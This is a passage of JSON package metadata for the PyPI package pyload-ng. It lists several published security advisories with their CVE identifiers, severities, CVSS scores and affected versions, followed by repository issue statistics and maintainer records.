S02am14LXB2Nzctd201d84AAxHU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OXZjLTVxNzctbTd4NM4AAxHP","url":"https://github.com/advisories/GHSA-x9vc-5q77-m7x4","title":"Improper Input Validation in pyload-ng","description":"Improper Input Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev40.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-22T03:30:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.0/AV:P/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0434","https://github.com/pyload/pyload/commit/a2b1eb1028f45ac58dea5f58593c1d3db2b4a104","https://huntr.dev/bounties/7d9332d8-6997-483b-9fb9-bcf2ae01dad4","https://github.com/advisories/GHSA-x9vc-5q77-m7x4"],"source_kind":"github","identifiers":["GHSA-x9vc-5q77-m7x4","CVE-2023-0434"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-23T21:03:17.220Z","updated_at":"2026-09-21T20:13:55.162Z","epss_percentage":0.00823,"epss_percentile":0.5554,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OXZjLTVxNzctbTd4NM4AAxHP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OXZjLTVxNzctbTd4NM4AAxHP","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev40","vulnerable_version_range":"\u003c 0.5.0b3.dev40"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OXZjLTVxNzctbTd4NM4AAxHP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjM4LTVwMjIteDZoNs4AAw-v","url":"https://github.com/advisories/GHSA-pf38-5p22-x6h6","title":"Code Injection in pyload-ng","description":"Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-01-14T03:30:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0297","https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d","https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65","http://packetstormsecurity.com/files/171096/pyLoad-js2py-Python-Execution.html","http://packetstormsecurity.com/files/172914/PyLoad-0.5.0-Remote-Code-Execution.html","https://github.com/advisories/GHSA-pf38-5p22-x6h6"],"source_kind":"github","identifiers":["GHSA-pf38-5p22-x6h6","CVE-2023-0297"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-25T23:02:59.653Z","updated_at":"2026-08-28T18:11:16.566Z","epss_percentage":0.95915,"epss_percentile":0.99868,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjM4LTVwMjIteDZoNs4AAw-v","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjM4LTVwMjIteDZoNs4AAw-v","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev31","vulnerable_version_range":"\u003c 0.5.0b3.dev31"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjM4LTVwMjIteDZoNs4AAw-v/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ydjl4LXdtdzQtNDRxas4AAw74","url":"https://github.com/advisories/GHSA-rv9x-wmw4-44qj","title":"Pyload Insufficient Session Expiration vulnerability","description":"Pyload 0.5.0b3.dev35 has an Insufficient Session Expiration vulnerability. A patch is available and anticipated to be part of version 0.5.0b3.dev36.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-12T03:30:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0227","https://github.com/pyload/pyload/commit/c035714c0596b704b11af0f8a669352f128ad2d9","https://huntr.dev/bounties/af3101d7-fea6-463a-b7e4-a48be219e31b","https://github.com/advisories/GHSA-rv9x-wmw4-44qj"],"source_kind":"github","identifiers":["GHSA-rv9x-wmw4-44qj","CVE-2023-0227"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-12T21:03:18.317Z","updated_at":"2026-09-21T20:13:58.153Z","epss_percentage":0.00655,"epss_percentile":0.49671,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydjl4LXdtdzQtNDRxas4AAw74","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydjl4LXdtdzQtNDRxas4AAw74","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev36","vulnerable_version_range":"\u003c= 0.5.0b3.dev35"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydjl4LXdtdzQtNDRxas4AAw74/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oOHI5LTQ2N3ItdmpqZs4AAwv-","url":"https://github.com/advisories/GHSA-h8r9-467r-vjjf","title":"pyLoad vulnerable to Improper Restriction of Rendered UI Layers or Frames","description":"Improper Restriction of Rendered UI Layers or Frames in GitHub repository pyload/pyload prior to 0.5.0b3.dev33.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-05T03:30:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0057","https://github.com/pyload/pyload/commit/bd2a31b7de54570b919aa1581d486e6ee18c0f64","https://huntr.dev/bounties/12b64f91-d048-490c-94b0-37514b6d694d","https://github.com/advisories/GHSA-h8r9-467r-vjjf"],"source_kind":"github","identifiers":["GHSA-h8r9-467r-vjjf","CVE-2023-0057"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-09T20:03:32.102Z","updated_at":"2026-09-21T20:13:59.975Z","epss_percentage":0.0046,"epss_percentile":0.38512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI5LTQ2N3ItdmpqZs4AAwv-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oOHI5LTQ2N3ItdmpqZs4AAwv-","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev33","vulnerable_version_range":"\u003c 0.5.0b3.dev33"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oOHI5LTQ2N3ItdmpqZs4AAwv-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tM2c3LXdycnEtdjVjOM4AAwv4","url":"https://github.com/advisories/GHSA-m3g7-wrrq-v5c8","title":"Pyload contains Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","description":"Sensitive Cookie in HTTPS Session Without 'Secure' Attribute in GitHub repository pyload/pyload prior to 0.5.0b3.dev32. The Secure attribute for sensitive cookies in HTTPS sessions is not set, which could cause the user agent to send those cookies in plaintext over an HTTP session. This issue is patched in version 0.5.0b3.dev32.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-05T00:30:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-0055","https://github.com/pyload/pyload/commit/7b53b8d43c2c072b457dcd19c8a09bcfc3721703","https://huntr.dev/bounties/ed88e240-99ff-48a1-bf32-8e1ef5f13cce","https://github.com/advisories/GHSA-m3g7-wrrq-v5c8"],"source_kind":"github","identifiers":["GHSA-m3g7-wrrq-v5c8","CVE-2023-0055"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2023-01-07T00:03:26.130Z","updated_at":"2026-09-21T20:13:59.982Z","epss_percentage":0.00439,"epss_percentile":0.37612,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tM2c3LXdycnEtdjVjOM4AAwv4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tM2c3LXdycnEtdjVjOM4AAwv4","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev32","vulnerable_version_range":"\u003c 0.5.0b3.dev32"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tM2c3LXdycnEtdjVjOM4AAwv4/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pyload-ng","docker_dependents_count":4,"docker_downloads_count":172987,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pyload-ng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pyload-ng/dependencies","status":null,"funding_links":["https://PayPal.Me/nitzo2001/0usd","https://github.com/sponsors/GammaC0de"],"critical":null,"issue_metadata":{"last_synced_at":"2026-09-19T14:54:05.926Z","issues_count":3348,"pull_requests_count":1288,"avg_time_to_close_issue":13856161.139740752,"avg_time_to_close_pull_request":3172642.479903537,"issues_closed_count":3163,"pull_requests_closed_count":1244,"pull_request_authors_count":342,"issue_authors_count":1379,"avg_comments_per_issue":6.4799880525686975,"avg_comments_per_pull_request":1.9184782608695652,"merged_pull_requests_count":677,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":101,"past_year_pull_requests_count":44,"past_year_avg_time_to_close_issue":706090.5494505494,"past_year_avg_time_to_close_pull_request":223317.6,"past_year_issues_closed_count":91,"past_year_pull_requests_closed_count":40,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":62,"past_year_avg_comments_per_issue":4.02970297029703,"past_year_avg_comments_per_pull_request":1.6818181818181819,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":32,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyload%2Fpyload/issues","maintainers":[{"login":"GammaC0de","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/GammaC0de"},{"login":"Jonn3y","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Jonn3y"}],"active_maintainers":[{"login":"GammaC0de","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/GammaC0de"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyload-ng/codemeta","maintainers":[{"uuid":"GammaC0de","login":"GammaC0de","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://pypi.org/user/GammaC0de/","role":null,"created_at":"2022-11-24T11:40:11.860Z","updated_at":"2022-11-24T11:40:11.860Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/GammaC0de/packages"},{"uuid":"vuolter","login":"vuolter","name":null,"email":null,"url":null,"packages_count":5,"html_url":"https://pypi.org/user/vuolter/","role":null,"created_at":"2022-11-24T11:40:11.869Z","updated_at":"2022-11-24T11:40:11.869Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/vuolter/packages"}]}